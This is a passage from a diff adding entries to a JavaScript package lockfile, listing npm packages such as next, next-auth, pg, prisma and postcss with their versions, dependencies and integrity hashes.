"lib/cli.js" }, "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA=="], + + "jsx-ast-utils": ["jsx-ast-utils@3.3.5", "", { "dependencies": { "array-includes": "^3.1.6", "array.prototype.flat": "^1.3.1", "object.assign": "^4.1.4", "object.values": "^1.1.6" } }, "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ=="], + + "keyv": ["keyv@4.5.4", "", { "dependencies": { "json-buffer": "3.0.1" } }, "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw=="], + + "language-subtag-registry": ["language-subtag-registry@0.3.23", "", {}, "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="], + + "language-tags": ["language-tags@1.0.9", "", { "dependencies": { "language-subtag-registry": "^0.3.20" } }, "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA=="], + + "levn": ["levn@0.4.1", "", { "dependencies": { "prelude-ls": "^1.2.1", "type-check": "~0.4.0" } }, "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ=="], + + "lilconfig": ["lilconfig@3.1.3", "", {}, "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw=="], + + "lines-and-columns": ["lines-and-columns@1.2.4", "", {}, "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="], + + "locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="], + + "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], + + "lodash.merge": ["lodash.merge@4.6.2", "", {}, "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="], + + "long": ["long@5.3.2", "", {}, "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA=="], + + "loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": "cli.js" }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="], + + "lru-cache": ["lru-cache@6.0.0", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="], + + "lru.min": ["lru.min@1.1.4", "", {}, "sha512-DqC6n3QQ77zdFpCMASA1a3Jlb64Hv2N2DciFGkO/4L9+q/IpIAuRlKOvCXabtRW6cQf8usbmM6BE/TOPysCdIA=="], + + "lucide-react": ["lucide-react@0.575.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-VuXgKZrk0uiDlWjGGXmKV6MSk9Yy4l10qgVvzGn2AWBx1Ylt0iBexKOAoA6I7JO3m+M9oeovJd3yYENfkUbOeg=="], + + "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], + + "merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="], + + "micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="], + + "minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="], + + "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], + + "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="], + + "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], + + "mysql2": ["mysql2@3.15.3", "", { "dependencies": { "aws-ssl-profiles": "^1.1.1", "denque": "^2.1.0", "generate-function": "^2.3.1", "iconv-lite": "^0.7.0", "long": "^5.2.1", "lru.min": "^1.0.0", "named-placeholders": "^1.1.3", "seq-queue": "^0.0.5", "sqlstring": "^2.3.2" } }, "sha512-FBrGau0IXmuqg4haEZRBfHNWB5mUARw6hNwPDXXGg0XzVJ50mr/9hb267lvpVMnhZ1FON3qNd4Xfcez1rbFwSg=="], + + "mz": ["mz@2.7.0", "", { "dependencies": { "any-promise": "^1.0.0", "object-assign": "^4.0.1", "thenify-all": "^1.0.0" } }, "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q=="], + + "named-placeholders": ["named-placeholders@1.1.6", "", { "dependencies": { "lru.min": "^1.1.0" } }, "sha512-Tz09sEL2EEuv5fFowm419c1+a/jSMiBjI9gHxVLrVdbUkkNUUfjsVYs9pVZu5oCon/kmRh9TfLEObFtkVxmY0w=="], + + "nanoid": ["nanoid@5.1.6", "", { "bin": "bin/nanoid.js" }, "sha512-c7+7RQ+dMB5dPwwCp4ee1/iV/q2P6aK1mTZcfr1BTuVlyW9hJYiMPybJCcnBlQtuSmTIWNeazm/zqNoZSSElBg=="], + + "napi-postinstall": ["napi-postinstall@0.3.4", "", { "bin": "lib/cli.js" }, "sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ=="], + + "natural-compare": ["natural-compare@1.4.0", "", {}, "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw=="], + + "next": ["next@14.2.35", "", { "dependencies": { "@next/env": "14.2.35", "@swc/helpers": "0.5.5", "busboy": "1.6.0", "caniuse-lite": "^1.0.30001579", "graceful-fs": "^4.2.11", "postcss": "8.4.31", "styled-jsx": "5.1.1" }, "optionalDependencies": { "@next/swc-darwin-arm64": "14.2.33", "@next/swc-darwin-x64": "14.2.33", "@next/swc-linux-arm64-gnu": "14.2.33", "@next/swc-linux-arm64-musl": "14.2.33", "@next/swc-linux-x64-gnu": "14.2.33", "@next/swc-linux-x64-musl": "14.2.33", "@next/swc-win32-arm64-msvc": "14.2.33", "@next/swc-win32-ia32-msvc": "14.2.33", "@next/swc-win32-x64-msvc": "14.2.33" }, "peerDependencies": { "@opentelemetry/api": "^1.1.0", "@playwright/test": "^1.41.2", "react": "^18.2.0", "react-dom": "^18.2.0", "sass": "^1.3.0" }, "optionalPeers": ["@opentelemetry/api", "@playwright/test", "sass"], "bin": "dist/bin/next" }, "sha512-KhYd2Hjt/O1/1aZVX3dCwGXM1QmOV4eNM2UTacK5gipDdPN/oHHK/4oVGy7X8GMfPMsUTUEmGlsy0EY1YGAkig=="], + + "next-auth": ["next-auth@4.24.13", "", { "dependencies": { "@babel/runtime": "^7.20.13", "@panva/hkdf": "^1.0.2", "cookie": "^0.7.0", "jose": "^4.15.5", "oauth": "^0.9.15", "openid-client": "^5.4.0", "preact": "^10.6.3", "preact-render-to-string": "^5.1.19", "uuid": "^8.3.2" }, "peerDependencies": { "@auth/core": "0.34.3", "next": "^12.2.5 || ^13 || ^14 || ^15 || ^16", "nodemailer": "^7.0.7", "react": "^17.0.2 || ^18 || ^19", "react-dom": "^17.0.2 || ^18 || ^19" }, "optionalPeers": ["@auth/core", "nodemailer"] }, "sha512-sgObCfcfL7BzIK76SS5TnQtc3yo2Oifp/yIpfv6fMfeBOiBJkDWF3A2y9+yqnmJ4JKc2C+nMjSjmgDeTwgN1rQ=="], + + "node-exports-info": ["node-exports-info@1.6.0", "", { "dependencies": { "array.prototype.flatmap": "^1.3.3", "es-errors": "^1.3.0", "object.entries": "^1.1.9", "semver": "^6.3.1" } }, "sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw=="], + + "node-fetch-native": ["node-fetch-native@1.6.7", "", {}, "sha512-g9yhqoedzIUm0nTnTqAQvueMPVOuIY16bqgAJJC8XOOubYFNwz6IER9qs0Gq2Xd0+CecCKFjtdDTMA4u4xG06Q=="], + + "normalize-path": ["normalize-path@3.0.0", "", {}, "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="], + + "nypm": ["nypm@0.6.5", "", { "dependencies": { "citty": "^0.2.0", "pathe": "^2.0.3", "tinyexec": "^1.0.2" }, "bin": "dist/cli.mjs" }, "sha512-K6AJy1GMVyfyMXRVB88700BJqNUkByijGJM8kEHpLdcAt+vSQAVfkWWHYzuRXHSY6xA2sNc5RjTj0p9rE2izVQ=="], + + "oauth": ["oauth@0.9.15", "", {}, "sha512-a5ERWK1kh38ExDEfoO6qUHJb32rd7aYmPHuyCu3Fta/cnICvYmgd2uhuKXvPD+PXB+gCEYYEaQdIRAjCOwAKNA=="], + + "oauth4webapi": ["oauth4webapi@3.8.5", "", {}, "sha512-A8jmyUckVhRJj5lspguklcl90Ydqk61H3dcU0oLhH3Yv13KpAliKTt5hknpGGPZSSfOwGyraNEFmofDYH+1kSg=="], + + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], + + "object-hash": ["object-hash@3.0.0", "", {}, "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw=="], + + "object-inspect": ["object-inspect@1.13.4", "", {}, "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew=="], + + "object-keys": ["object-keys@1.1.1", "", {}, "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="], + + "object.assign": ["object.assign@4.1.7", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0", "has-symbols": "^1.1.0", "object-keys": "^1.1.1" } }, "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw=="], + + "object.entries": ["object.entries@1.1.9", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.4", "define-properties": "^1.2.1", "es-object-atoms": "^1.1.1" } }, "sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw=="], + + "object.fromentries": ["object.fromentries@2.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2", "es-object-atoms": "^1.0.0" } }, "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ=="], + + "object.groupby": ["object.groupby@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2" } }, "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ=="], + + "object.values": ["object.values@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA=="], + + "ohash": ["ohash@2.0.11", "", {}, "sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ=="], + + "oidc-token-hash": ["oidc-token-hash@5.2.0", "", {}, "sha512-6gj2m8cJZ+iSW8bm0FXdGF0YhIQbKrfP4yWTNzxc31U6MOjfEmB1rHvlYvxI1B7t7BCi1F2vYTT6YhtQRG4hxw=="], + + "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], + + "openid-client": ["openid-client@5.7.1", "", { "dependencies": { "jose": "^4.15.9", "lru-cache": "^6.0.0", "object-hash": "^2.2.0", "oidc-token-hash": "^5.0.3" } }, "sha512-jDBPgSVfTnkIh71Hg9pRvtJc6wTwqjRkN88+gCFtYWrlP4Yx2Dsrow8uPi3qLr/aeymPF3o2+dS+wOpglK04ew=="], + + "optionator": ["optionator@0.9.4", "", { "dependencies": { "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", "type-check": "^0.4.0", "word-wrap": "^1.2.5" } }, "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g=="], + + "own-keys": ["own-keys@1.0.1", "", { "dependencies": { "get-intrinsic": "^1.2.6", "object-keys": "^1.1.1", "safe-push-apply": "^1.0.0" } }, "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg=="], + + "p-limit": ["p-limit@3.1.0", "", { "dependencies": { "yocto-queue": "^0.1.0" } }, "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ=="], + + "p-locate": ["p-locate@5.0.0", "", { "dependencies": { "p-limit": "^3.0.2" } }, "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw=="], + + "p-try": ["p-try@2.2.0", "", {}, "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="], + + "papaparse": ["papaparse@5.5.3", "", {}, "sha512-5QvjGxYVjxO59MGU2lHVYpRWBBtKHnlIAcSe1uNFCkkptUh63NFRj0FJQm7nR67puEruUci/ZkjmEFrjCAyP4A=="], + + "parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="], + + "path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="], + + "path-is-absolute": ["path-is-absolute@1.0.1", "", {}, "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="], + + "path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="], + + "path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="], + + "path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], + + "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], + + "perfect-debounce": ["perfect-debounce@1.0.0", "", {}, "sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA=="], + + "pg": ["pg@8.19.0", "", { "dependencies": { "pg-connection-string": "^2.11.0", "pg-pool": "^3.12.0", "pg-protocol": "^1.12.0", "pg-types": "2.2.0", "pgpass": "1.0.5" }, "optionalDependencies": { "pg-cloudflare": "^1.3.0" }, "peerDependencies": { "pg-native": ">=3.0.1" }, "optionalPeers": ["pg-native"] }, "sha512-QIcLGi508BAHkQ3pJNptsFz5WQMlpGbuBGBaIaXsWK8mel2kQ/rThYI+DbgjUvZrIr7MiuEuc9LcChJoEZK1xQ=="], + + "pg-cloudflare": ["pg-cloudflare@1.3.0", "", {}, "sha512-6lswVVSztmHiRtD6I8hw4qP/nDm1EJbKMRhf3HCYaqud7frGysPv7FYJ5noZQdhQtN2xJnimfMtvQq21pdbzyQ=="], + + "pg-connection-string": ["pg-connection-string@2.11.0", "", {}, "sha512-kecgoJwhOpxYU21rZjULrmrBJ698U2RxXofKVzOn5UDj61BPj/qMb7diYUR1nLScCDbrztQFl1TaQZT0t1EtzQ=="], + + "pg-int8": ["pg-int8@1.0.1", "", {}, "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw=="], + + "pg-pool": ["pg-pool@3.12.0", "", { "peerDependencies": { "pg": ">=8.0" } }, "sha512-eIJ0DES8BLaziFHW7VgJEBPi5hg3Nyng5iKpYtj3wbcAUV9A1wLgWiY7ajf/f/oO1wfxt83phXPY8Emztg7ITg=="], + + "pg-protocol": ["pg-protocol@1.12.0", "", {}, "sha512-uOANXNRACNdElMXJ0tPz6RBM0XQ61nONGAwlt8da5zs/iUOOCLBQOHSXnrC6fMsvtjxbOJrZZl5IScGv+7mpbg=="], + + "pg-types": ["pg-types@2.2.0", "", { "dependencies": { "pg-int8": "1.0.1", "postgres-array": "~2.0.0", "postgres-bytea": "~1.0.0", "postgres-date": "~1.0.4", "postgres-interval": "^1.1.0" } }, "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA=="], + + "pgpass": ["pgpass@1.0.5", "", { "dependencies": { "split2": "^4.1.0" } }, "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug=="], + + "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], + + "picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], + + "pify": ["pify@2.3.0", "", {}, "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog=="], + + "pirates": ["pirates@4.0.7", "", {}, "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA=="], + + "pkg-types": ["pkg-types@2.3.0", "", { "dependencies": { "confbox": "^0.2.2", "exsolve": "^1.0.7", "pathe": "^2.0.3" } }, "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig=="], + + "pngjs": ["pngjs@5.0.0", "", {}, "sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw=="], + + "possible-typed-array-names": ["possible-typed-array-names@1.1.0", "", {}, "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg=="], + + "postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="], + + "postcss-import": ["postcss-import@15.1.0", "", { "dependencies": { "postcss-value-parser": "^4.0.0", "read-cache": "^1.0.0", "resolve": "^1.1.7" }, "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew=="], + + "postcss-js": ["postcss-js@4.1.0", "", { "dependencies": { "camelcase-css": "^2.0.1" }, "peerDependencies": { "postcss": "^8.4.21" } }, "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw=="], + + "postcss-load-config": ["postcss-load-config@6.0.1", "", { "dependencies": { "lilconfig": "^3.1.1" }, "peerDependencies": { "jiti": ">=1.21.0", "postcss": ">=8.0.9", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["yaml"] }, "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g=="], + + "postcss-nested": ["postcss-nested@6.2.0", "", { "dependencies": { "postcss-selector-parser": "^6.1.1" }, "peerDependencies": { "postcss": "^8.2.14" } }, "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ=="], + + "postcss-selector-parser": ["postcss-selector-parser@6.1.2", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg=="], + + "postcss-value-parser": ["postcss-value-parser@4.2.0", "", {}, "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="], + + "postgres": ["postgres@3.4.7", "", {}, "sha512-Jtc2612XINuBjIl/QTWsV5UvE8UHuNblcO3vVADSrKsrc6RqGX6lOW1cEo3CM2v0XG4Nat8nI+YM7/f26VxXLw=="], + + "postgres-array": ["postgres-array@3.0.4", "", {}, "sha512-nAUSGfSDGOaOAEGwqsRY27GPOea7CNipJPOA7lPbdEpx5Kg3qzdP0AaWC5MlhTWV9s4hFX39nomVZ+C4tnGOJQ=="], + + "postgres-bytea": ["postgres-bytea@1.0.1", "", {}, "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ=="], + + "postgres-date": ["postgres-date@1.0.7", "", {}, "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q=="], + + "postgres-interval": ["postgres-interval@1.2.0", "", { "dependencies": { "xtend": "^4.0.0" } }, "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ=="], + + "preact": ["preact@10.24.3", "", {}, "sha512-Z2dPnBnMUfyQfSQ+GBdsGa16hz35YmLmtTLhM169uW944hYL6xzTYkJjC07j+Wosz733pMWx0fgON3JNw1jJQA=="], + + "preact-render-to-string": ["preact-render-to-string@5.2.6", "", { "dependencies": { "pretty-format": "^3.8.0" }, "peerDependencies": { "preact": ">=10" } }, "sha512-JyhErpYOvBV1hEPwIxc/fHWXPfnEGdRKxc8gFdAZ7XV4tlzyzG847XAyEZqoDnynP88akM4eaHcSOzNcLWFguw=="], + + "prelude-ls": ["prelude-ls@1.2.1", "", {}, "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g=="], + + "pretty-format": ["pretty-format@3.8.0", "", {}, "sha512-WuxUnVtlWL1OfZFQFuqvnvs6MiAGk9UNsBostyBOB0Is9wb5uRESevA6rnl/rkksXaGX3GzZhPup5d6Vp1nFew=="], + + "prisma": ["prisma@7.4.2", "", { "dependencies": { "@prisma/config": "7.4.2", "@prisma/dev": "0.20.0", "@prisma/engines": "7.4.2", "@prisma/studio-core": "0.13.1", "mysql2": "3.15.3", "postgres": "3.4.7" }, "peerDependencies": { "better-sqlite3": ">=9.0.0", "typescript": ">=5.4.0" }, "optionalPeers": ["better-sqlite3"], "bin": "build/index.js" }, "sha512-2bP8Ruww3Q95Z2eH4Yqh4KAENRsj/SxbdknIVBfd6DmjPwmpsC4OVFMLOeHt6tM3Amh8ebjvstrUz3V/hOe1dA=="], + + "prop-types": ["prop-types@15.8.1", "", { "dependencies": { "loose-envify": "^1.4.0", "object-assign": "^4.1.1", "react-is": "^16.13.1" } }, "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg=="], + + "proper-lockfile": ["proper-lockfile@4.1.2", "", { "dependencies": { "graceful-fs": "^4.2.4", "retry": "^0.12.0", "signal-exit": "^3.0.2" } }, "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA=="], + + "punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], + + "pure-rand": ["pure-rand@6.1.0", "", {}, "sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA=="], + + "qrcode": ["qrcode@1.5.4", "", { "dependencies": { "dijkstrajs": "^1.0.1", "pngjs": "^5.0.0", "yargs": "^15.3.1" }, "bin": 